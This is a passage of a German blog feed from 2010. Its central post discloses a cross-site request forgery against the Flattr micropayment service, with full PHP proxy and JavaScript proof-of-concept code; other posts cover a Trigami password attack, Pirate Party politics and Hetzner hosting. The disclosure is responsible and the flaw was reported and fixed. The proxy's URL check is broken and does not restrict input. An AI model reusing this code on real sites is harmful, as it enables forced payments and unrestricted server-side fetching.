<p>Wieder einmal reicht es aus, Leute mit Hilfe eines maskierten Links auf eine präparierte Seite zu führen. Mit Hilfe von iFrames, Popupfenstern oder Ähnlichem würde ein Opfer nicht mal mitbekommen, dass gerade das Passwort geändert wurde &#8211; es bleibt schließlich weiterhin eingeloggt und kann Trigami weiterhin nutzen! Der Angreifer kann sich nun in Seelenruhe einloggen und z.B. die Kontoinformationen für die Abbuchung ändern &#8211; ich denke nicht, dass die Nutzer da sooo oft reingucken.</p>
<p>Auch hier ist wieder einmal der Tipp: Nur eingeloggt sein, wenn man gerade etwas mit der Seite machen will. Danach sofort wieder ausloggen, um solche Angriffe zu umgehen. Natürlich werde ich gleich noch Trigami anschreiben und ihnen von dem Problem berichten.<br/><br />
<strong>Update:</strong><br />
Wie mir gerade <a href="http://twitter.com/trigami/status/16375206939" target="_blank" class="liexternal">mitgeteilt wurde</a>, muss man nun das alte Passwort angeben, bevor man das Passwort ändern kann. Das hilft jedoch nur bedingt, da weiterhin die Änderung der Bankdaten möglich ist.<br />
<div id="attachment_5534" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/trigamipwd.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/trigamipwd-300x149.png" alt="" title="trigamipwd" width="300" height="149" class="size-medium wp-image-5534" /></a><p class="wp-caption-text">Geänderter Passwortdialog</p></div><br/><br />
<strong>Werbende Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/trigami-kann-angegriffen-werden/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>[Update] Flattr-Manipulation ist (nicht mehr?) möglich!</title>
		<link>http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/</link>
		<comments>http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 04:07:09 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Entwicklung]]></category>
		<category><![CDATA[Just Spottet]]></category>
		<category><![CDATA[Spreu]]></category>
		<category><![CDATA[Update]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5425</guid>
		<description><![CDATA[Gestern habe ich darüber berichtet, dass ich mir nun auch einen der Beta-Accounts der neuen Micropayment-Plattform Flattr geholt habe (ich habe übrigens noch 3 Einladungen dafür zu verschenken). Am Ende des Artikels hatte ich eine mögliche Angriffsfläche erwähnt, die auch schon bei Twitter ausgenutzt worden ist. Wie ich nun durch eigene Tests herausgefunden habe, ist [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Gestern habe ich <a href="http://weizenspr.eu/2010/das-potential-von-flattr/" target="_blank" class="liinternal">darüber berichtet</a>, dass ich mir nun auch einen der Beta-Accounts der neuen Micropayment-Plattform <a href="http://flattr.com" target="_blank" class="liexternal">Flattr</a> geholt habe (ich habe übrigens noch 3 Einladungen dafür zu verschenken). Am Ende des Artikels hatte ich eine mögliche Angriffsfläche erwähnt, die auch schon bei Twitter ausgenutzt worden ist. Wie ich nun durch eigene Tests herausgefunden habe, ist es tatsächlich möglich, Besucher einer Seite dazu zu bringen, völlig unbekannte Seiten zu <em>flattrn</em>.</p>
<p>Die Theorie hinter dem Angriff ist relativ einfach erklärt: Damit Flattr wirklich sinnvoll genutzt werden kann, muss man permanent eingeloggt sein. Es wird wohl kaum Nutzer geben, die sich jedes Mal erst einloggen wollen, bevor sie einen Flattr-Button drücken können. Diesen permanenten Login kann man nun missbrauchen, um Webnutzer dazu zu bringen, den Flattr-Button (bzw. den Link, der sich dahinter verbirgt) anzuklicken.<br />
In der Praxis haben die Entwickler von Flattr versucht, dies dadurch zu verhindern, indem bei jedem Pageload ein (möglichst zufälliger) Link für den Button generiert wird. Damit kann man nicht einfach die URL zum Button irgendwo verlinken. Die Linkgenerierung selbst ist dabei in der Flattr-API gekapselt, die auch dafür sorgt, den Button in einem iFrame zu platzieren &#8211; eventuell, um den Button damit zusätzlich von außen abzuschotten.</p>
<p>Eine Schwäche hat die Abschottung jedoch: Die URL, die generiert wird, um den iFrame zu laden, ist statisch. Das sorgt dafür, dass man die URL auslesen und erneut aufrufen kann. Damit lassen sich dann beliebig viele &#8211; gültige &#8211; Button-URLs generieren. Ein weiteres Problem ist, dass die Button-URLs selbst vollkommen funktionstüchtig sind. Es wird nicht einmal der Referrer überprüft, um sicher zu gehen, dass der Button wirklich auf der Seite geklickt wurde, für die auch der Klick bestimmt ist.</p>
<p>In meinen Versuchen bin ich ziemlich grob vorgegangen: Ich habe für das Ausnutzen der Lücke ein Mini-PHP-Proxy-Script und ein Stückchen JavaScript geschrieben. Durch die beiden Teile kann man die Button-URL jeder x-beliebigen Webseite, die Flattr einsetzt, verlinken. Bisher nehme ich einfach immer die erste Button-URL, die ich finde &#8211; das ließe sich aber leicht modifizieren.</p>
<p>Wenn man jemanden dazu bringen möchte, irgendeine Seite zu flattrn, schiebt man ihm einen Link auf das Proxy-Script unter. Dieser Link kann beliebig maskiert sein. Wenn das Opfer die URL aufruft, wird wie folgt vorgegangen:</p>
<ul>
<li>Im ersten Schritt lädt das Proxy-Script den Quelltext der Seite, von der die Button-URL genutzt werden soll. Vor dem <em>&#8220;&lt;/body&gt;&#8221;</em>-Tag wird ein Stück JavaScript eingeschleust, das sich um das Auslesen der Button-URL kümmert.</li>
<li>Beim Auslesen der Button-URL wird im Seitenquelltext nach dem iFrame gesucht, der auf die Seite <em>&#8220;http://api.flattr.com&#8221;</em> verlinkt. Wurde dieser iFrame gefunden, wird die entsprechende URL via AJAX heruntergeladen. Das Proxy-Script wird hier deshalb benutzt, um das <em>Cross-Origins</em> Problem zu umgehen (schließlich müssen wir die URL &#8220;http://api.flattr.com&#8221; auslesen können).</li>
<li>Im erhaltenen Quelltext suchen wir nach dem Anchor, der wiederum auf den Host &#8220;http://api.flattr.com&#8221; verweist. Diese URL ist die Button-URL! Der andere Link weist lediglich auf &#8220;http://flattr.com&#8221;.</li>
<li>Im Beispiel wird nun per Java eine Relocation vorgenommen, um direkt die Button-URL anzuspringen. Es gibt sicherlich auch Möglichkeiten, das ganze unauffälliger zu machen (z.B. wieder über das Proxy-Script, über das einfach ein Bild nachgeladen wird).</li>
</ul>
<p>Alle gezeigten Schritte sind lediglich beispielhaft. Es ist mir klar, dass Leute, die mehr Zeit in das Ganze investieren auch unscheinbarere Wege finden werden. Das Vehikel aus PHP und AJAX habe ich z.B. lediglich gewählt, um den Implementierungsaufwand (URLs laden, XML parsen) so gering wie möglich für mich zu halten.</p>
<p>Hier nun die von mir verwendeten Quelltexte. Zuerst der PHP-Proxy. In diesen habe ich noch die Sperre eingebaut, dass nur &#8220;http://&#8221;-Pfade übergeben werden dürfen. Damit soll verhindert werden, dass man sich ein riesiges Einfallstor errichtet, mit dem Leute beliebige Daten auf der eigenen Platte lesen können.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;?php<br />
&nbsp; $body &nbsp; &nbsp; = &quot;&lt;/body&gt;&quot;;<br />
&nbsp; $protocol = &quot;http://&quot;;<br />
&nbsp; $script &nbsp; = &quot;&lt;script type=\&quot;text/javascript\&quot; src=\&quot;/flattr.js\&quot;&gt;&lt;/script&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;window.location = getLink('/flattr.php?keepurl=');&lt;/script&gt;&quot;;<br />
&nbsp; <br />
&nbsp; if (isset($_GET[&quot;keepurl&quot;])) {<br />
&nbsp; &nbsp; if (stripos($_GET[&quot;keepurl&quot;], $protocol) == 0) {<br />
&nbsp; &nbsp; &nbsp; print(file_get_contents($_GET[&quot;keepurl&quot;]));<br />
&nbsp; &nbsp; }<br />
&nbsp; } else {<br />
&nbsp; &nbsp; if (isset($_GET[&quot;changeurl&quot;])) {<br />
&nbsp; &nbsp; &nbsp; if (stripos($_GET[&quot;changeurl&quot;], $protocol) == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $temp = file_get_contents($_GET[&quot;changeurl&quot;]);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pos = stripos($temp, $body);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($pos !== false) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(substr($temp, 0, $pos) . $script . substr($temp, $pos, strlen($temp)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
?&gt;</div></td></tr></tbody></table></div>
<p>Und hier nun die JavaScript-Datei. Den AJAX-Download habe ich mir teilweise ausgeliehen. Der Einfachheit halber verwende ich den synchronen Download. Zum Parsen des ausgelesenen Frame-Quelltextes verwende ich einfach einen <em>Paragraph</em>, den ich dann weiter abfrage.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; String.prototype.startsWith = function(str){return (this.match(&quot;^&quot;+str)==str)};<br />
&nbsp; <br />
&nbsp; var apiStarter = &quot;http://api.flattr.com/&quot;;<br />
<br />
&nbsp; // as taken from http://www.developers-guide.net/c/117-eine-einfuehrung-in-ajax-und-xmlhttprequest.html<br />
&nbsp; function createHttpRequest() {<br />
&nbsp; &nbsp; var result = null;<br />
&nbsp; <br />
&nbsp; &nbsp; if (window.ActiveXObject) { <br />
&nbsp; &nbsp; &nbsp; try { <br />
&nbsp; &nbsp; &nbsp; &nbsp; // IE 6 and higher<br />
&nbsp; &nbsp; &nbsp; &nbsp; result = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);<br />
&nbsp; &nbsp; &nbsp; } catch (e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // IE 5<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (e) {}<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; if (window.XMLHttpRequest) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Mozilla, Opera, Safari ...<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = new XMLHttpRequest();<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (e) {}<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; return result;<br />
&nbsp; }<br />
&nbsp; <br />
&nbsp; function retrieveSource(url, returnScript) {<br />
&nbsp; &nbsp; var result = null;<br />
<br />
&nbsp; &nbsp; var httpRequest = createHttpRequest();<br />
<br />
&nbsp; &nbsp; if (httpRequest != null) {<br />
&nbsp; &nbsp; &nbsp; httpRequest.open(&quot;GET&quot;, returnScript + encodeURIComponent(url), false);<br />
&nbsp; &nbsp; &nbsp; httpRequest.send(null);<br />
<br />
&nbsp; &nbsp; &nbsp; if ((httpRequest.readyState == 4) &amp;&amp; (httpRequest.status == 200)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; result = httpRequest.responseText;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; return result;<br />
&nbsp; }<br />
&nbsp; <br />
&nbsp; function getLink(returnScript) {<br />
&nbsp; &nbsp; var result = null;<br />
&nbsp; <br />
&nbsp; &nbsp; var allFrames &nbsp; = document.getElementsByTagName(&quot;iframe&quot;);<br />
&nbsp; &nbsp; var allLinks &nbsp; &nbsp;= null;<br />
&nbsp; &nbsp; var singleFrame = null;<br />
&nbsp; &nbsp; var singleLink &nbsp;= null;<br />
<br />
&nbsp; &nbsp; var outputElement = document.createElement(&quot;p&quot;);<br />
<br />
&nbsp; &nbsp; for (var indexA = 0; indexA &lt; allFrames.length; indexA++) {<br />
&nbsp; &nbsp; &nbsp; singleFrame = allFrames[indexA];<br />
<br />
&nbsp; &nbsp; &nbsp; if (singleFrame != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (singleFrame.src.startsWith(apiStarter)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outputElement.innerHTML = retrieveSource(singleFrame.src, returnScript);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allLinks = outputElement.getElementsByTagName(&quot;a&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (var indexB = 0; indexB &lt; allLinks.length; indexB++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; singleLink = allLinks[indexB];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (singleLink != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (singleLink.href.startsWith(apiStarter)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result = singleLink.href;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (result != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; if (result != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; return result;<br />
&nbsp; }</div></td></tr></tbody></table></div>
<p>Der bisher einzige Weg, diesem Angriff zu entgehen, ist, sich <strong>nicht</strong> permanent bei Flattr einzuloggen (sprich beim Login das Kästchen <em>&#8220;Keep me logged in&#8221;</em> <strong>nicht</strong> zu aktivieren). Als Lösung würde ich bisher nur eine zusätzliche Abfrage direkt auf dem Flattr-Server sehen. So könnte verhindert werden, dass das reine Anklicken der Button-URL bereits als Zustimmung gewertet wird. Um den Zugriff auf die Button-URL zu erschweren, müsste man die Frame-URL genauso zufällig (und nur einmal nutzbar) gestalten, wie die Button-URL. Dadurch, dass beim eigentlichen Anzeigen des Buttons diese einmalige Verwendung bereits aufgebraucht werden würde, könnte die eigentliche Button-URL danach nicht mehr ausgelesen werden.</p>
<p>Zum Schluss sei noch etwas erwähnt:<br />
<em>Die hier bereitgestellten Informationen dienen lediglich der eigenen Weiterbildung und zur Absicherung der eigenen Systeme. Unter keinen Umständen darf dieses Wissen zur Manipulation von fremden IT-Systemen missbraucht werden: dies ist nach deutschem Recht unter Androhung einer Freiheitsstrafe verboten.</em><br/><br />
<strong>Update:</strong><br />
Da <a href="http://twitter.com/huxi" target="_blank" class="liexternal">@huxi</a> mich <a href="http://twitter.com/huxi/statuses/15406658152" target="_blank" class="liexternal">gerade</a> daran erinnert hat: Ich habe mich heute morgen nach Fertigstellung des Proof-of-Concept natürlich an die Entwickler von Flattr gewandt, um ihnen von dem Sicherheitsproblem zu berichten. Dabei habe ich von <a href="http://en.wikipedia.org/wiki/Peter_Sunde" target="_blank" rel="nofollow" class="liwikipedia">Paul Sunde</a> persönlich die Aussage erhalten, dass bereits an dem Problem gearbeitet wird. Ich habe ihn auch darum gebeten, mir Bescheid zu geben, wenn der Fehler behoben ist, damit ich ein Update hier im Blog posten kann. Gerade habe ich ein Schreiben von Linus Olsson bekommen, in dem er um meine Ideen für eine mögliche Lösung fragt. Werde also gleich mal in die Tasten hauen.<br/><br />
<strong>Update:</strong><br />
Habe jetzt den Text an Linus geschickt. Wer des Englischen mächtig ist und sich für die Lösungsvorschläge interessiert, kann sich ja folgenden Text antun:</p>
<blockquote><p><em>Dear Linus,</p>
<p>one of my friends called @huxi had a nice idea which does not solve the problem itself but which could circumvent any problems with unsolicited flatterings: an undo-function. He said, that it would be great to unflatter a &#8220;thing&#8221; when clicking on the button again. In that way you could at least intervene when you (as a donor) gain knowledge about a fraudulent transaction.</p>
<p>http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/#comment-2760</p>
<p>Please tell me when I&#8217;m wrong but as I have understood it you have put the flattr button into an iFrame to prevent direct access on its source code (thus using the same origin policy of most modern browsers). This was a very intelligent step as it made accessing the data a lot harder. But the problem you have is that the URL to the content displayed in the iframe is static. So you can just grab the URL and access the page through other means (e.g. a PHP proxy script). To prevent this from happening you would have to use dynamic URLs for the iframe content as well. Maybe this could be achieved by extending the API so that URL generation for a certain content is only possible with the correct user ID and password. You would then send a request to the API which returns the (dynamically generated) URL to the iframe content, which can only be used once.</p>
<p>A final protection would be some kind of confirmation &#8211; like a captcha (@huxi suggested that one) or just a simple yes/no dialog box. The matter with this final confirmation is that &#8211; in my opinion &#8211; it cannot be broken by code injection. When you wanted to break it you would have to use an intermediary (like a proxy) again, but using a proxy this time would mean to lose the necessary session/cookie information we need to execute the cross-site request forgery.</p>
<p>I hope these information will help a bit.</p>
<p>With kind regards,<br />
Kenny</em></p></blockquote>
<p><br/><br />
<strong>Update:</strong><br />
Wie es scheint, haben die Entwickler von Flattr nun eine Lösung für das Problem implementiert. Wenn man den Cross-Site Request Forgery nun ausprobiert, landet man bei <a href="https://flattr.com/support/security/ip" target="_blank" class="liexternal">diesem Sicherheitshinweis</a>. Ich denke, ich habe herausgefunden, wie sie diese Lösung implementiert haben: Sie scheinen sich beim Generieren der Button-URL zu merken, welche IP die Generierung veranlasst hat. Beim &#8220;Klick&#8221; wird dann die Generator-IP mit der Klicker-IP verglichen.<br />
Diese Sicherung schützt im Moment vor dem präsentierten Angriff, da für das Generieren der Button-URL derzeit ein externes PHP-Script verwendet wird. Sollte es möglich sein, den API-Call zur Button-URL-Generierung ohne die Verwendung eines Proxies ausführen zu lassen, sollte diese Sicherung ausgehebelt sein.<br/><br />
<strong>Informierende Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/flattr-manipulation-ist-moglich/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Das Ende der Piratenpartei!!einself!1</title>
		<link>http://weizenspr.eu/2010/das-ende-der-piratenparteieinself1/</link>
		<comments>http://weizenspr.eu/2010/das-ende-der-piratenparteieinself1/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 22:39:19 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Politik]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5374</guid>
		<description><![CDATA[In den letzten Tagen war die Piratenpartei mal wieder das Gesprächsthema in allen möglichen IT-Boards von Heise bis Golem und darüber hinaus. Überall wurde heiß über die Verurteilung von Jörg Tauss im gegen ihn laufenden KiPo-Verfahren diskutiert. Es sollte jeder für sich selber entscheiden, ob er Jörg Tauss für einen Pädophilen hält, oder ob er [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>In den letzten Tagen war die Piratenpartei mal wieder das Gesprächsthema in allen möglichen IT-Boards von Heise bis Golem und darüber hinaus. Überall wurde heiß über <a href="http://www.golem.de/1005/75427.html" target="_blank" class="liexternal">die</a> <a href="http://www.heise.de/newsticker/meldung/Tauss-zu-Bewaehrungsstrafe-verurteilt-3-Update-1010139.html" target="_blank" class="liexternal">Verurteilung</a> von <a href="http://twitter.com/tauss" target="_blank" class="liexternal">Jörg</a> <a href="http://www.tauss-gezwitscher.de/" target="_blank" class="liexternal">Tauss</a> im gegen ihn laufenden KiPo-Verfahren diskutiert. Es sollte jeder für sich selber entscheiden, ob er Jörg Tauss für einen Pädophilen hält, oder ob er glaubt, dass er sich wirklich eigenständig über die Verbreitungswege von KiPo informieren wollte.</p>
<p>Ich persönlich möchte ihm nicht unterstellen, dass er bezüglich der eigenständigen Ermittlung gelogen hat &#8211; wir haben im letzten Jahr gesehen, wie dummdreist das Familienministerium in der Person der Zensursula von der Leyen über die Verbreitungswege und den Verbreitungsgrad von KiPo gelogen hat. In diesem Zuge ist es für mich verständlich, dass ein Medienexperte einer Partei sich gerne abseits der populistischen Ministerienpropaganda informieren möchte. Die Geschichte, dass er mit seinen Recherchen einen KiPo-Ring &#8220;sprengen&#8221; wollte, halte ich hingegen für ziemlich hanebüchen.</p>
<p>Aufgeregt hat mich in den letzten Tagen jedoch nicht das milde Urteil, sondern diese ewigen, nervtötenden, völlig sinnlosen Diskussionen um das weitere Fortbestehen der Piratenpartei. Ganz ehrlich &#8211; ich verstehe es wirklich nicht. Ihr kennt wahrscheinlich den Spruch <em>&#8220;Es wurde zwar schon alles gesagt, aber noch nicht von jedem.&#8221;</em> Genauso kam es mir großteilig vor.<br />
Für die einen wurden die Piraten unwählbar, weil sie Tauss anno 2009 in die Partei aufgenommen haben, für die anderen wurden die Piraten unwählbar, weil sie Tauss um den Austritt gebeten haben und die letzte Gruppe hält die Piraten für unwählbar, weil sie Tauss nicht von selber aus der Partei geworfen haben.<br />
Ganz besonders spaßig finde ich übrigens die Leute, die die Piraten nun nicht mehr nur für unwählbar halten (anhand der 3 Gruppen müsste die Partei jetzt bei ca. 120% Unwählbarkeit liegen), sondern die ihr auch schon den baldigen Zerfall bescheinigen. Der <a href="http://www.golem.de/1005/75437.html" target="_blank" class="liexternal">freiwillige Austritt</a> <a href="http://www.heise.de/newsticker/meldung/Aus-der-Tauss-Abschied-von-der-Piratenpartei-1010693.html" target="_blank" class="liexternal">von Jörg</a> scheint einigen direkt die politischen Schweißperlen auf die Stirn zu treiben. Er sei schließlich die einzige Person mit politischer Erfahrung &#8211; oder so ähnlich. Ohne ihn wird die Partei ins Chaos stürzen und der Bundesvorstand wird anfangen, schwarze Löcher zu pupsen, die die restliche denkende Weltbevölkerung verschlucken werden.</p>
<p>Leute, kommt doch bitte mal wieder auf den Teppich. Ja, Jörg Tauss ist ausgetreten und ja, er hat viel politische Erfahrung mit in die Partei gebracht. <a href="http://www.tauss-gezwitscher.de/?p=1006" target="_blank" class="liexternal">Sein Blogartikel</a> hört sich jedoch überhaupt nicht so an, als ob er der Partei jetzt den Rücken kehren würde. Und selbst wenn: Im Gegensatz zu vielen anderen Parteien (man blicke nur in Richtung FDP) ist die Piratenpartei eben <strong>nicht</strong> an einzelne Personen gebunden. Ich glaube, auf den Parteitagen sieht man jedes Mal wieder sehr gut, wie schnell die Führung auswechselbar ist &#8211; wenn sie nicht sogar freiwillig geht. Was bei den Piraten zählt, ist die Basis; die Leute, die die Themen ausarbeiten und an Infoständen der Bevölkerung näher bringen. Bei den Piraten gibt es keine Indoktrination der Massen durch Einzelne. Wenn jemand beeinflusst wird, dann sind es die Vorstände, die von den Mitgliedern dazu getrieben werden, ihre Interessen zu vertreten und ihre Basisarbeit zu erleichtern.</p>
<p>Und einen Punkt zur ewigen Unwählbarkeitsdebatte möchte ich noch beitragen. An die Leute, die ständig meckern, dass die Piraten ein zu enges Themenspektrum haben und sich nicht den wichtigen sozialen Fragen stellen: Habt ihr schonmal ein Parteiprogramm ausgearbeitet und euch intensiv mit der Lösung dieser sozialen Themen beschäftigt? Falls ja: Wieso bringt ihr diese Lösungen nicht in die Partei ein, um eine wählbare Alternative zu den Dachorganisationen der Lobbyverbände zu schaffen? Und falls nein: Warum nicht? Ist euch eventuell aufgefallen, dass es ein Haufen Arbeit ist, politisch vertretbare und finanziell machbare Lösungen zu erarbeiten?  Wie kommt ihr darauf, dass diese Erarbeitung für Mitglieder einer Partei, die nebenbei noch einen Hauptberuf ausüben, einfacher wäre und schneller von Statten gehen würde?</p>
<p>Versteht mich bitte nicht falsch, ich möchte kein Mitleid oder ähnliches. Aber die Piraten sind jetzt knapp 4 Jahre alt, haben inzwischen (imho) beachtliche Erfolge in der Landes- und Bundespolitik erreicht und viele ihrer Kernthemen in das Bewusstsein der etablierten Parteien zurückgebracht. Nur leider vergessen diese nach ein paar Wochen wieder, was das Volk wirklich braucht. Genau deshalb wird es die Piratenpartei weiter geben &#8211; um weiterhin ein Dorn im Fleisch der etablierten Parteien zu sein.<br />
Und ja, es wird weitere Themen im Parteiprogramm der Piraten geben &#8211; jedoch erst dann, wenn diese ordentlich ausgearbeitet wurden und einen Konsens in der Basis finden. Was ist euch denn lieber? Eine Partei, die aus ein paar Köpfen und hundertausenden Sockenpuppen besteht. Oder eine Partei, die aus zehntausenden Köpfen und ein paar Organisatoren besteht? Die Entscheidung trefft schlussendlich ihr &#8211; die Wähler.<br/><br />
<strong>Fortschreitende Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/das-ende-der-piratenparteieinself1/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Lösung für Hetzners Subdomain-Problem</title>
		<link>http://weizenspr.eu/2010/losung-fur-hetzners-subdomain-problem/</link>
		<comments>http://weizenspr.eu/2010/losung-fur-hetzners-subdomain-problem/#comments</comments>
		<pubDate>Sat, 22 May 2010 13:33:58 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Entwicklung]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5320</guid>
		<description><![CDATA[Ich hatte euch ja gestern erzählt, dass Hetzner für jede Subdomain mit eigenem Document-Root Setup-Gebühren abkassieren will, wenn man für diese SSL aktivieren will. Das wollte ich mir nicht einfach so gefallen lassen. Deshalb habe ich eine Lösung für dieses Problem gesucht und gefunden. Aber fangen wir mal vorne an.
Für jede Domain und jede Subdomain [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Ich hatte euch ja gestern erzählt, dass Hetzner für jede Subdomain mit eigenem Document-Root <a href="http://weizenspr.eu/2010/die-spinnen-bei-hetzner/" target="_blank" class="liinternal">Setup-Gebühren abkassieren will</a>, wenn man für diese SSL aktivieren will. Das wollte ich mir nicht einfach so gefallen lassen. Deshalb habe ich eine Lösung für dieses Problem gesucht und gefunden. Aber fangen wir mal vorne an.</p>
<p>Für jede Domain und jede Subdomain kann man beim Hetzner-Webhosting ein eigenes Startverzeichnis (die sogenannte <em>&#8220;Document-Root&#8221;</em>) festlegen. Dazu loggt man sich in die <a href="https://konsoleh.your-server.de/" target="_blank" class="liexternal">konsoleH</a> ein, besucht die <em>&#8220;Domain Extras&#8221;</em> und geht dort bei den <em>&#8220;Einstellungen&#8221;</em> auf <em>&#8220;Serverkonfiguration&#8221;</em>. Nun sieht man eine Liste der verfügbaren Ordner, wobei neben jedem Ordner drei Symbole zu sehen sind. Klickt man nun auf das kleine Häuschen (das sich dann grün färbt), ändern man den Ordner, aus dem Die Dateien für die entsprechende Domain ausgelesen werden.</p>
<div id="attachment_5323" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/hetzner_docroot.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/hetzner_docroot-300x123.png" alt="" title="hetzner_docroot" width="300" height="123" class="size-medium wp-image-5323" /></a><p class="wp-caption-text">Hetzner Document Root</p></div>
